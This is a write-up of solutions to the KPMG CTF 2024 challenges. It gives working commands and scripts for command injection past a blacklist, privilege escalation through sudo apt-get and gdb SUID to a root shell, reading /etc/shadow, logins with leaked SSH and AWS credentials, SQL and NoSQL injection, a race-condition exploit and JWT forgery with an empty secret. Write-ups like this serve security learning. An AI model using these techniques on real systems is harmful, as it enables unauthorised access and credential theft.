KPMG 2024 Writeup

Last updated on

Description

KPMG CTF 2024 Writeup

Android/Android CryptoQuest

alt text

Decompiling the APK using JDAX we can see manifest file in that we can see a part one which a base64 encoded part one of the flag.

alt text

In MainActivity we can see another string it is base58 encoded string of flag part2.

alt text

Flag KPMG_CTF{Wh0_N33ds_Th1s_Man1f3st??}

Android/SuperSecureApp

alt text

After reversing the APK and checking through the source found this.

alt text

After so many hours i figured that 94S3qYXx can be part of https://pastebin.com/94S3qYXx

Got this encoded text S1BNR19DVEZ7QWRtMW5fNGNjM3NzX0dyNG50M2RfSDRjazNyIX0=

Flag: KPMG_CTF{Adm1n_4cc3ss_Gr4nt3d_H4ck3r!}

Best Notes app ever ^_^

alt text

Web/I am Weak

alt text

alt text

KPMG_CTF{YWLoF3N3RrWeaUuwi-00uSZsDV2YPpS0QsH7AkeosI9onAf3v-41xyzB8tDQFVCFpTdFsiGMjvqhfZlYLEjazsikUUrBTgvoi9t6y3pJ}

OT/Modulus Bus Station

Unable to connect 0.cloud.chals.io so used dig 0.cloud.chals.io to get the public ip then ran this command

mbtget -n 100 -hex -p 14480 -a 0 165.227.210.30

got this as output

values:
  1 (ad 00000): 0x0000
  2 (ad 00001): 0x4b50
  3 (ad 00002): 0x4d47
  4 (ad 00003): 0x5f43
  5 (ad 00004): 0x5446
  6 (ad 00005): 0x7b44
  7 (ad 00006): 0x7938
  8 (ad 00007): 0x6e55
  9 (ad 00008): 0x4e37
 10 (ad 00009): 0x3747
 11 (ad 00010): 0x3337
 12 (ad 00011): 0x4464
 13 (ad 00012): 0x2d43
 14 (ad 00013): 0x445f
 15 (ad 00014): 0x3957
 16 (ad 00015): 0x4659
 17 (ad 00016): 0x4d37
 18 (ad 00017): 0x6276
 19 (ad 00018): 0x4c2d
 20 (ad 00019): 0x594f
 21 (ad 00020): 0x4e61
 22 (ad 00021): 0x2d4b
 23 (ad 00022): 0x4670
 24 (ad 00023): 0x6273
 25 (ad 00024): 0x647a
 26 (ad 00025): 0x4472
 27 (ad 00026): 0x6f78
 28 (ad 00027): 0x324d
 29 (ad 00028): 0x486b
 30 (ad 00029): 0x324b
 31 (ad 00030): 0x4467
 32 (ad 00031): 0x5451
 33 (ad 00032): 0x7948
 34 (ad 00033): 0x6367
 35 (ad 00034): 0x586d
 36 (ad 00035): 0x6c41
 37 (ad 00036): 0x434c
 38 (ad 00037): 0x3043
 39 (ad 00038): 0x5a57
 40 (ad 00039): 0x4353
 41 (ad 00040): 0x6871
 42 (ad 00041): 0x5336
 43 (ad 00042): 0x4379
 44 (ad 00043): 0x3374
 45 (ad 00044): 0x636c
 46 (ad 00045): 0x314a
 47 (ad 00046): 0x6a53
 48 (ad 00047): 0x4862
 49 (ad 00048): 0x3354
 50 (ad 00049): 0x5562
 51 (ad 00050): 0x496b
 52 (ad 00051): 0x4239
 53 (ad 00052): 0x3478
 54 (ad 00053): 0x4b7a
 55 (ad 00054): 0x5651
 56 (ad 00055): 0x7637
 57 (ad 00056): 0x4a66
 58 (ad 00057): 0x687d
 59 (ad 00058): 0x0000
 60 (ad 00059): 0x0000

decoding this long hex to text i got the flag

4b504d475f4354467b4479386e554e373747333744642d43445f395746594d3762764c2d594f4e612d4b46706273647a44726f78324d486b324b4467545179486367586d6c41434c30435a5743536871533643793374636c314a6a53486233545562496b423934784b7a565176374a66687d

KPMG_CTF{Dy8nUN77G37Dd-CD_9WFYM7bvL-YONa-KFpbsdzDrox2MHk2KDgTQyHcgXmlACL0CZWCShqS6Cy3tcl1JjSHb3TUbIkB94xKzVQv7Jfh}

OT/Firmware Analysis P-1

alt text

KPMG_CTF{hash_equivalent##flag!HHAH}

Web/I can’t see

alt text

Its a command injection challenge and there is a blacklist we can’t give ; | & as input so we can use $(ls > res.php) insted if we go to res.php we can see the o/p of ls now similarly after searching for a while when i execute printenv and sent it to a file then i can see the flag in the o/p.

HOSTNAME=26871f81dde1 SHLVL=0 HOME=/home/kpmg _=/usr/bin/php PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin PWD=/var/www/html FLAG=KPMG_CTF{mkoGoqxu0uV9hE0J-W1gWHodSAoqobEVx3ta7-r-G7Y-JpPW-r3FFGj6rg0WBMrBjQI5IADUvReO16Et9F750fLZKDz5GM-uFAE8gFc5}

Flag

KPMG_CTF{mkoGoqxu0uV9hE0J-W1gWHodSAoqobEVx3ta7-r-G7Y-JpPW-r3FFGj6rg0WBMrBjQI5IADUvReO16Et9F750fLZKDz5GM-uFAE8gFc5}

Cloud/Data Vault Duel

alt text

From the discription it is clear that we need to access S3 bucket if we go to the following link we can see the items present in the bucket https://kpmg-ctf1.s3.amazonaws.com

alt text

if we go to the file rituognriteuonhbiorentgbvhuitrhoirtsnbiuort.txt

https://kpmg-ctf1.s3.amazonaws.com/rituognriteuonhbiorentgbvhuitrhoirtsnbiuort.txt

we will get the flag

KPMG_CTF{cbf35723276f7cd30486971cd1027a79}

Cloud/Credentials Everywhere

<!-- ++++++++++[>+>+++>+++++++>++++++++++<<<<-]>>>+++++++++++++..-----------.<++.>+++++++++++++.>+++++++++++++++.--------------.+++++++++++++.----.<++++++++++++.>-.<++++.<++++++++++++++++++++++++++.<++++++++++++++++++++++.>+++++++.++++++++++.--.--------.>---------------.<-------------.>----------------.---.++++++.---..+.<--.++++.>--.<-.-.>++++++.++++.------------. -->
<!-- ++++++++++[>+>+++>+++++++>++++++++++<<<<-]>>>+++++++++++++..-----------.<++.>++++++++.>---.++++++++++++++++++..++++.--------.+++.--------------.<----------------------.<.>+++++++++++++++++++.>+++++++++++++++++++++.<+++++++++.+++++++++++++++.>-------.+++++++.<------------------.++++++++++++++++++.--.>----.---.<++.----------------------------------.>------.+++.++++++.-----------------.<<+++++++++++++++++.+.+.------------------. -->
<html><body><h1>Welcome to Apache Server</h1></body></html>

Decoing this we goit the following

SSH Username: AKIAV4FCIFFG26E54KOC 
SSH Password: MyVerySecureCloud123!

ssh AKIAV4FCIFFG26E54KOC@0.cloud.chals.io -p 17205

Now we got a shell so lets check sudo -l

alt text

We can do prevesc by just using simple APT payload

sudo apt-get update -o APT::Update::Pre-Invoke::=/bin/bash
cat /etc/shadow
AKIAV4FCIFFG26E54KOC:$6$hyAJNvygp.v8jKjw$5c3c/TIkRgw9YLhoS6jn9oMibB3/aLFvTyI4XLWQENaC24bX8YZj4ABFwAI1nBlr2NSl0LSmbL6iw64KEFGSB0:19906:0:99999:7:::

this command can be used to port forword

ssh -L 8080:172.18.0.1:9100 AKIAV4FCIFFG26E54KOC@0.cloud.chals.io -p 17205

this was unrelated

there was a file .aws in root

[default]
aws_access_key_id=AKIAV4FCIFFG26E54KOC
aws_secret_access_key=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

aws s3 ls

aws s3 cp s3://kpmg-ctf-final/FLAG.txt .

Flag: KPMG_CTF{303e5fd2a01c833789decdb5c4db622b}

Infrastructure/gRPC - Reverse Parking Cat - Part 1

alt text

using grpcurl

i used grpcui -plaintext 0.cloud.chals.io:15411 to get a graphical ui

alt text

alt text

alt text

alt text

Token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyX2lkIjoiQWRtaW4iLCJleHAiOjE3MjMzMTkxNjN9.tH_P5ahXo9Y0KaY1x6w53WF_5QLvQkbgyztuUf6n1E4
{
  "message": "Your id is 609."
}

i was a bit uncomfortable using the grpc so i converted to my regular flask api using this code below

from flask import Flask, request
import subprocess

app = Flask(__name__)

@app.route("/hack")
def home():
    data = request.args.get("id", "609")
    data = '{"id": "'+data+'"}'
    cmd = f"""docker run fullstorydev/grpcurl -plaintext -H "token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyX2lkIjoiQWRtaW4iLCJleHAiOjE3MjMzMTkxNjN9.tH_P5ahXo9Y0KaY1x6w53WF_5QLvQkbgyztuUf6n1E4" -d '{data}' 0.cloud.chals.io:15411 SimpleApp.getInfo"""
    try:
        resp = subprocess.run(cmd, shell=True, check=False, text=True, capture_output=True)
        if resp.stderr:
            return resp.stderr
        if resp.stdout:
            return resp.stdout
    except Exception as e:
        print(e)

if __name__ == "__main__":
    app.run(port="8000", debug=True)

Now i can intract as if its an API

if i send ?data=609%20or%201=1 gives same value looks like sql injection now that we have a api we can use sqlmap to exploit sql injection

alt text

ssh anish_mitra@0.cloud.chals.io -p 31288 and use password KPMG_s3cret_pa55w07d_123

alt text

Flag: KPMG_CTF{dxc8TewfwQC72E_ACypFbVVixmFm9lZdhZaigdKGB5gYAQrMeoiTMETUAaZ9ssblfglYRVr9YnYECK2FRrNGf9jOgtFC4H84cGyv0dk7}

gRPC - Reverse Parking Cat - Part 2

This is prevesc from the part 1

after ssh we can do sudo -l

alt text

i can use base64 as sudo so i can read files

alt text

KPMG_CTF{Sql1_eXi5t5_iN_tH1S_Ch4l1eNgE}

Infrastructure/Uncover the Secrets of CyberCorp’s Directory - 1

alt text

This challenge was very annoying i was tring to exploit any vulns and anonymous logins but insted the password of admin session is admin

ldapsearch -H ldap://0.cloud.chals.io:17771 -D "cn=admin,dc=cybercorp,dc=com" -W -b "dc=cybercorp,dc=com"

in The output we can see the flag


Enter LDAP Password:
# extended LDIF
#
# LDAPv3
# base <dc=cybercorp,dc=com> with scope subtree
# filter: (objectclass=*)
# requesting: ALL
#

# cybercorp.com
dn: dc=cybercorp,dc=com
objectClass: top
objectClass: dcObject
objectClass: organization
o: Cybercorp Inc.
dc: cybercorp

# users, cybercorp.com
dn: ou=users,dc=cybercorp,dc=com
objectClass: organizationalUnit
ou: users

# admin, cybercorp.com
dn: cn=admin,dc=cybercorp,dc=com
objectClass: inetOrgPerson
cn: admin
sn: Admin
userPassword:: YWRtaW4=
description: LDAP administrator

# John Doe, users, cybercorp.com
dn: cn=John Doe,ou=users,dc=cybercorp,dc=com
objectClass: inetOrgPerson
cn: John Doe
sn: Doe
uid: jdoe
userPassword:: S1BNR19JU19UT09fQ09PTEBGSVJFX0VNT0pJ
description: Here is your user flag: KPMG_CTF{ZsnywiAp2zMdhOzS02UzBS9qgP1S4y30
 8_XmJ9D32zuJa-h8A7iHov5QeUS7E4NWdGnr164shfgXYsxzCfsZlzXXkwWPn1GIsg0QB9m9} KPM
 G_IS_TOO_COOL@FIRE_EMOJI

# search result
search: 2
result: 0 Success

# numResponses: 5
# numEntries: 4

Infrastructure/Uncover the Secrets of CyberCorp’s Directory - 2

alt text

i just nc into the given ip port then i saw a hearder

SSH-2.0-OpenSSH_9.2p1 Debian-2+deb12u2

this means its running ssh

from the previous challenge we used admin this time we have to use other user i tried

ssh jdoe@0.cloud.chals.io -p 13354

password as KPMG_IS_TOO_COOL@FIRE_EMOJI which is base64 decoded value of S1BNR19JU19UT09fQ09PTEBGSVJFX0VNT0pJ

now if we check the running process using ps -aux we can see a python server is running the code is as follows

from flask import Flask, request, redirect, url_for, session, render_template
import os
import subprocess
import hashlib

app = Flask(__name__)
app.secret_key = b'_5#y2L"F4Q8z\n\xec]/'

# Dummy database (replace with a real database in production)
users = {
    'jdoe': {
        'password': hashlib.sha256(b'KPMG_IS_TOO_COOL@FIRE_EMOJI').hexdigest()  # Hashed password (in production, use a secure hashing algorithm)
    }
}

@app.route('/')
def index():
    if 'username' in session:
        return 'Welcome, ' + session['username'] + '! <br> <a href="/escalate">Privilege Escalation Challenge</a>'
    return 'You are not logged in. <a href="/login">Login</a>'

@app.route('/login', methods=['GET', 'POST'])
def login():
    if request.method == 'POST':
        username = request.form['username']
        password = request.form['password']

        if username in users and hashlib.sha256(password.encode()).hexdigest() == users[username]['password']:
            session['username'] = username
            return redirect(url_for('index'))
        else:
            return render_template('login.html', message='Incorrect username or password.')

    return render_template('login.html')

@app.route('/logout')
def logout():
    session.pop('username', None)
    return redirect(url_for('index'))

@app.route('/escalate', methods=['GET', 'POST'])
def escalate():
    if 'username' not in session:
        return redirect(url_for('login'))

    if request.method == 'POST':
        command = request.form.get('command')

        if command:
            try:
                output = subprocess.check_output(command, shell=True, stderr=subprocess.STDOUT)
                return output.decode('utf-8')
            except subprocess.CalledProcessError as e:
                return f"Error executing command: {e.output.decode('utf-8')}"
        else:
            return "No command provided."

    return render_template('escalate.html')

if __name__ == '__main__':
    app.run(debug=True)

we can forward the port using ssh -L 3000:0.0.0.0:5000 jdoe@0.cloud.chals.io -p 13354

after logging in we got a unristricted command shell

alt text

cat /entrypoint.sh


#!/bin/bash

# Start SSH service
service ssh start
echo $FLAG > /root/root.txt
# Run Flask application
python app.py

cat /root/root.txt

Flag: KPMG_CTF{exnU3zpEI6LogTRd9otM7gqW5sfOVIfmIqUZgLAmEH0VEBID_Ni7kyBLULiIfFSsJZtVkz9Kw7prbRi7L7XkIsuAHCIeANrMwtQ7y392}

Web/Memorandum Dissolve 5

alt text

There were test creds in the source test:password123 after logging in we can get a cookie.

alt text

Putting 21232f297a57a5a743894a0e4a801fc3 as cookie which is md5 hash of admin

Flag:

KPMG_CTF{LgLAXcXMUO9hgjC2Xp7MfnNkmihFSN2rut3HUy_XVueyLcwTI77ggabXtRxx7_qYXNAqg8xUomi6bNpzpAKP_tT3JrbcALr4CwJBIyvl}

Web/Not a Bruteforce One

alt text

After checking for SQLi i checked nosql vuln the applicaiton is vulnable to nosql injection.

NO sql injection test

Trarget User injection test

Looks like no one has isAdmin as true

Updated isAdmin

Flag: KPMG_CTF{w7N2vHg2gbETLVc4TYxT3UmPjg1u8BfKsnidKfiv3zPXVXYcujzs9cJPBbVDknFJeJdGl7itz0kjfZDhbI6uS3lKAtbg_bopXGIw40w}

Infrastructure/Assassins Brotherhood - 1

alt text

alt text

ssh admin@0.cloud.chals.io -p 27858
ssh ezio@0.cloud.chals.io -p 27858

password is renaissance

alt text

Flag: KPMG_CTF{HLs-92dVFq6VA-Ri8wNBowuIXgJCRHzV-NELYRO-qQoG82x7VRiON_dbgrAVf6K_AABdNN5R1do3DanDGxn09b81nrf9EtFKFDlO-3b2}

Infrastructure/Assassins Brotherhood - 2

alt text

Same steps as previous challenge

checked sudo -l we can’t execute anything as sudo other option is to use setuid binaries we can search for suid binaries using the command

find / -perm /4000 2> /dev/null

alt text

after checking GTFO bins regading which binary is sutable for exploit i have found that gdb can be used as well gdb gtfobins

gdb -nx -ex 'python import os; os.execl("/bin/sh", "sh", "-p")' -ex quit

Got shell as altair

alt text

Flag:

KPMG_CTF{7a216f8be662e501013208b8a398cde4}

Cloud/Presign Rains

alt text

alt text

Token: AKIA33VJAWOZJLLBCU2A Bucket: ctf2k24-best

https://kicyber2024-784b10da3c65-presign-1.chals.io/robots.txt

/5625d8f847a29410e05b91df5628d6d2fa8146eed792c0ae048279798853d1b9
/604800
/20240808T094405Z
/robot
/us-east-1

in robot we can see a layout

https://<bucket_name>.s3.us-east-1.amazonaws.com/flag.txt?X-Amz-Algorithm=AWS4-HMAC-SHA256&X-Amz-Credential=<aws_access_key>%2F20240808%2F<region>%2Fs3%2Faws4_request&X-Amz-Date=<date>&X-Amz-Expires=<expiry_time>&X-Amz-SignedHeaders=host&X-Amz-Signature=<signature>

substituting the values

https://ctf2k24-best.s3.us-east-1.amazonaws.com/flag.txt?X-Amz-Algorithm=AWS4-HMAC-SHA256&X-Amz-Credential=AKIA33VJAWOZJLLBCU2A%2F20240808%2Fus-east-1%2Fs3%2Faws4_request&X-Amz-Date=20240808T094405Z&X-Amz-Expires=604800&X-Amz-SignedHeaders=host&X-Amz-Signature=5625d8f847a29410e05b91df5628d6d2fa8146eed792c0ae048279798853d1b9

If we go to this url we got a path

/1tr41n5pr3_s1gn3d_UrL5_he73_4nd_T4kE3_y0uR_F1a9

if we go to this url we will get the flag https://kicyber2024-784b10da3c65-presign-1.chals.io/1tr41n5pr3_s1gn3d_UrL5_he73_4nd_T4kE3_y0uR_F1a9

Flag KPMG_CTF{Na-hJCrgqlyPNoyaPHYNCCVixthaC1HWu9UBEanODu00LbH5YYqQFagJnNtpz2t1it2x9fTGF-5Uz2K-uE8Zvi8_u5KxCCp0EavSwdbl}

Crypto/Crypts Beyond The Wall

alt text

alt text

if i go to Tormund.txt which is VG9ybXVuZC50eHQ= in base64

if i go to this file i will get the following text

For Tormund Giantsbane, the wild warrior from beyond the Wall, every conquest is an epic tale. Just like his quest for the BeyondTheWallLogs.txt, where he searches for secrets as mighty as giants. And when it comes to his beloved giants, the key to their loyalty and strength is as simple as it is crucial, giantsmilk. It's a bond as unbreakable as the ice wall, a testament to the power of nature and camaraderie.

https://kicyber2024-2123cdf8f308-maytheoldgodshelpyou-0.chals.io/BeyondTheWallLogs.txt

Ov tux jqiww un cerhfwrbgxhl, pzqzp gnqscxje wq ckkrrmk qksy zprbnyt bso iwrebvazd yl koqx, ldcp zueee eaqa tx zpe ftudmo /C3iz3Tf0ylT3ElvR4vD83LhfP.pewr. Rufm se lckmwnf zmmzo dnmie agmzooj brrtkgzpc, kvcerhfqzx yifrzmmzoc zpe zrkfmcska os wsfi, pxycrvgy avwi zpe jhjfpj wgg uaegos tdy mnvzembtm kubetuq.

using decodefr i can know which cipher it is

alt text

Tried all the ciphers but i got good results when i used vigenere-cipher

alt text

After going to this link route /S3cr3Ts0ftH3WalL4nD83YonD.html

I got the flag

KPMG_CTF{okNFUFbyvg-FdtXMIfTYB_u1QmwGrlUPk9LHCC4UBTEVckISDgO8jGegbyoj9wRwngYq7xjezVrM9VtMDO-dC2jCmmupveaDbXG-mTt9}

OSINT/THE CODED TRAIL

https://pastebin.com/mnXNAyWs

alt text

alt text

alt text

alt text

password for the zip is 7ru3_w4rr10r

alt text

KPMG_CTF{y0u_go7_34gl3_ey3s}

API/The Sneaky Admin

alt text

After enumration found that only /api/users route exists after some trail and error got the flag

alt text

Flag KPMG_CTF{VxN6zG3Ta5JYKAADv5-L4P3s9geQNilpXgsTHyPxIhQO4tIjY2c6drttWJf9aTjLCDpp83DQZbzd2x7GkA3BzzcvrC7H-WrG_WrKRAMP}

API/Racing Time

alt text

FUZZing the endpoints we can see these

alt text

After messing around realized we have to deposit less and withdraw more then we will get the flag to achive this we need to achieve a race condition we can make a go script that can exploit this race condition

package main

import (
    "bytes"
    "fmt"
    "net/http"
    "sync"
)

const (
    deposit_url  = "https://kicyber2024-18c63494f502-api2-1.chals.io/deposit"
    withdraw_url = "https://kicyber2024-18c63494f502-api2-1.chals.io/withdraw"
    payload      = `{"amount": 1}`
)

func main() {
    var wg sync.WaitGroup
    requests := 500
    sendPostRequest(deposit_url, -100)
    for i := 0; i < requests; i++ {
        wg.Add(1)
        go func(i int) {
            defer wg.Done()
            err := sendPostRequest(withdraw_url, i)
            if err != nil {
                fmt.Printf("Request %d failed: %v\n", i, err)
            }
        }(i)
    }

    wg.Wait()
    fmt.Println("All requests completed")
}

func sendPostRequest(url string, id int) error {
    req, err := http.NewRequest("POST", url, bytes.NewBuffer([]byte(payload)))
    if err != nil {
        return err
    }
    req.Header.Set("Content-Type", "application/json")

    client := &http.Client{}
    resp, err := client.Do(req)
    if err != nil {
        return err
    }
    defer resp.Body.Close()

    fmt.Printf("Request %d: Status Code: %d\n", id, resp.StatusCode)
    return nil
}

while the script is running we should check flag endpoint

alt text

Flag:

KPMG_CTF{8UB-d_a7BR5qPVD6DrxwePLSbxuCnQLd3Zsw09BCYH_JkTubuxjk0mbweqSTLO4K3qFKGhdYY02yKFs7QEvJ74PFqijZOqKtaDHhpv4d}

Api/The JWT Conundrum

alt text

Fuzzing was not helpful the discription has some clues like routes which are in the api. using this i was able to do the below enumeration and identification of queries

import requests
headers = {
    "Content-Type": "application/json"
}

resp = requests.post("https://kicyber2024-308a27165354-apiserv3-0.chals.io/generate_token",headers=headers , json={"username": "user"})

print(resp.text)
# {"token":"eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6InVzZXIiLCJyb2xlIjoidXNlciJ9.IDrB2GU5uk3szBho3bAToNDTMu1tUQMceHoC3LdTXn0"}

alt text

after a while when i was playing with the jwt i gave blank secret which is the key for the jwt token we have to go to /secure_data to get the flag

alt text

To get access lets change the JWT username to admin role to admin

alt text

import requests
headers = {
    "Content-Type": "application/json",
    "Authorization": "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwicm9sZSI6ImFkbWluIn0.V04vr8baMgQ9VzcdxmCyNqo7gqSs-SF-6BP9-BVzgWA"
    # "Authorization": "Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwicm9sZSI6ImFkbWluIn0.V04vr8baMgQ9VzcdxmCyNqo7gqSs-SF-6BP9-BVzgWA"
}
resp = requests.get("https://kicyber2024-308a27165354-apiserv3-0.chals.io/secure_data",headers=headers)
print(resp.text)
{"token":"eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6InVzZXIiLCJyb2xlIjoidXNlciJ9.IDrB2GU5uk3szBho3bAToNDTMu1tUQMceHoC3LdTXn0"}

{"data":{"role":"admin","username":"admin"},"message":"KPMG_CTF{FLQ779UfsNFQaaBUpmcqlEFC5vU_vxIIWr1DPDL0wxgBwULie-OjPM3U4pXXw6wEGsm3NhmV2slbZmVE0cm3fC_ES4WxqA7613G9j4uw}"}